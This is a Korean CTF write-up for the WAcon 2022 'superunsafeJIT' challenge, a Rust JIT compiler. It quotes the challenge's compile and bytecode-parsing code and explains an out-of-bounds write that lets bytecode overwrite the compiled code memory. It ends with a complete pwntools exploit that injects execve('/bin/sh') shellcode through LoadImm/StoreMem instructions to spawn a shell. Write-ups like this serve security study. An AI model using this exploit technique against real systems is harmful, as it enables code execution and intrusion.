[CTF write up] WAcon CTF 2022 Qual - superunsafeJIT : Super ez Rust Pwn

2023. 2. 1. 09:21CTF write up

fn compile(bytecode: &[u8], data_memory: &memory::Memory) -> Result<*const (), Error> {
    let mut function_table = HashMap::new();
    function_table.insert("deoptimize".to_string(), 0xdeadbeef);
    let pl1 = bytecode::TranslationUnit::new(bytecode)?;
    println!("[main::compile] pl1 = `{}`", pl1 );
    let pl2 = vasm::TranslationUnit::new(&pl1, &data_memory, &function_table)?;
    println!("[main::compile] pl2 = `{}`", pl2 );
    let pl3 = asm::TranslationUnit::new(&pl2)?;
    println!("[main::compile] pl3 = `{}`", pl3 );
    let pl41 = ice_wrapper::assemble(&pl3, 0x0)?;
    println!("[main::compile] pl41 = `{:?}`", pl41 );
    let code_mem = memory::page_allocate(pg_round_up(pl41.len()), true)?;
    let pl42 = ice_wrapper::assemble(&pl3, code_mem.pointer as u64)?;
    println!("[main::compile] pl42 = `{:?}`", pl42 );
    unsafe {
        std::ptr::copy(pl42.as_ptr(), code_mem.pointer, pl42.len());
        println!("[main::compile] code_mem (addr) = `{:?}`", code_mem.pointer as *const () );
        Ok(code_mem.pointer as *const ())
    }
}

Rust로 만들어진 괴상한 JIT 프로그램이다. RUST를 써본적이 없어서 디버깅은 위와 같이 대충 println으로 값을 찍으면서 어떻게 돌아가는지 파악했다.

 

 

 

대충 살펴보면 그냥 바이트코드를 그대로 어셈블리로 변환해서 저장하는 것을 알 수 있다. 이 과정에서 딱히 Sanitizing 같은게 존재하지 않아서 Out-Of-Bounds 취약점이 발생한다.

 

 

 

 

 

    fn analyze_instructions(
        bytes: &[u8],
        begin: usize,
        end: usize,
    ) -> Result<Vec<Instruction>, Error> {
        let mut offset = begin;
        let mut instructions = Vec::new();
        while offset < end && offset + 7 <= end {
            let instr_bytes = &bytes[offset..offset + 7];
            let instr = match instr_bytes[0] {
                0 => Instruction::LoadImm {
                    dst_reg: u16(&instr_bytes[1..3]),
                    imm: u32(&instr_bytes[3..7]) as i32,
                },
                1 => Instruction::LoadMem {
                    dst_reg: u16(&instr_bytes[1..3]),
                    base_reg: u16(&instr_bytes[3..5]),
                    offset_imm: u16(&instr_bytes[5..7]) as i32,
                },
                2 => Instruction::StoreMem {
                    src_reg: u16(&instr_bytes[1..3]),
                    base_reg: u16(&instr_bytes[3..5]),
                    offset_imm: u16(&instr_bytes[5..7]) as i32,
                },
                3 => Instruction::Add {
                    src_reg: u16(&instr_bytes[1..3]),
                    dst_reg: u16(&instr_bytes[3..5]),
                },
                4 => Instruction::Sub {
                    src_reg: u16(&instr_bytes[1..3]),
                    dst_reg: u16(&instr_bytes[3..5]),
                },
                7 | 8 => {
                    offset += 7;
                    continue;
                }
                9 => Instruction::Call {
                    fid: u32(&instr_bytes[3..7]) as i32,
                },
                _ => {
                    return Err(Error::InvalidOpcodeError);
                }
            };
            instructions.push(instr);
            offset += 7;
        }
        println!("[bytecode::TranslationUnit::analyze_instructions] instructions = {:?}",instructions);
        Ok(instructions)
    }

바이트코드는 bytecode.rs를 살펴보면 빠르게 알 수 있다.

 

 

 

 

사용자의 function을 call하는 부분에 bp를 걸고 확인하거나 rust에서 포인터를 직접 찍어보면 Loadmem, Storemem 인스트럭션에서 이용하는 메모리 아래에 컴파일된 opcode가 저장되어있는 메모리가 인접해있는걸 알 수 있다.

 

 

 

 

from pwn import *

p = process('chal')

shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
shellcode = shellcode + b'\x00'

p.sendline(b'1')
p.sendline(b'00')

pay = b''
for i in range(0,len(shellcode),4):
    pay += b'00' + b'0000' + shellcode[i:i+4].hex().encode() # Instruction::LoadImm
    pay += b'00' + b'0100' + b'00d03600' # Instruction::LoadImm
    pay += b'02' + b'0000' + b'0100' + (i).to_bytes(2,'little').hex().encode() # Instruction::StoreMem

p.sendline(b'1')
p.sendline(pay)

p.sendline(b'2')
p.sendline(b'1')

p.sendline(b'2')
p.sendline(b'0')

p.interactive()

따라서 그냥 OOB로 function 영역을 쉘코드로 덮어버리면 된다.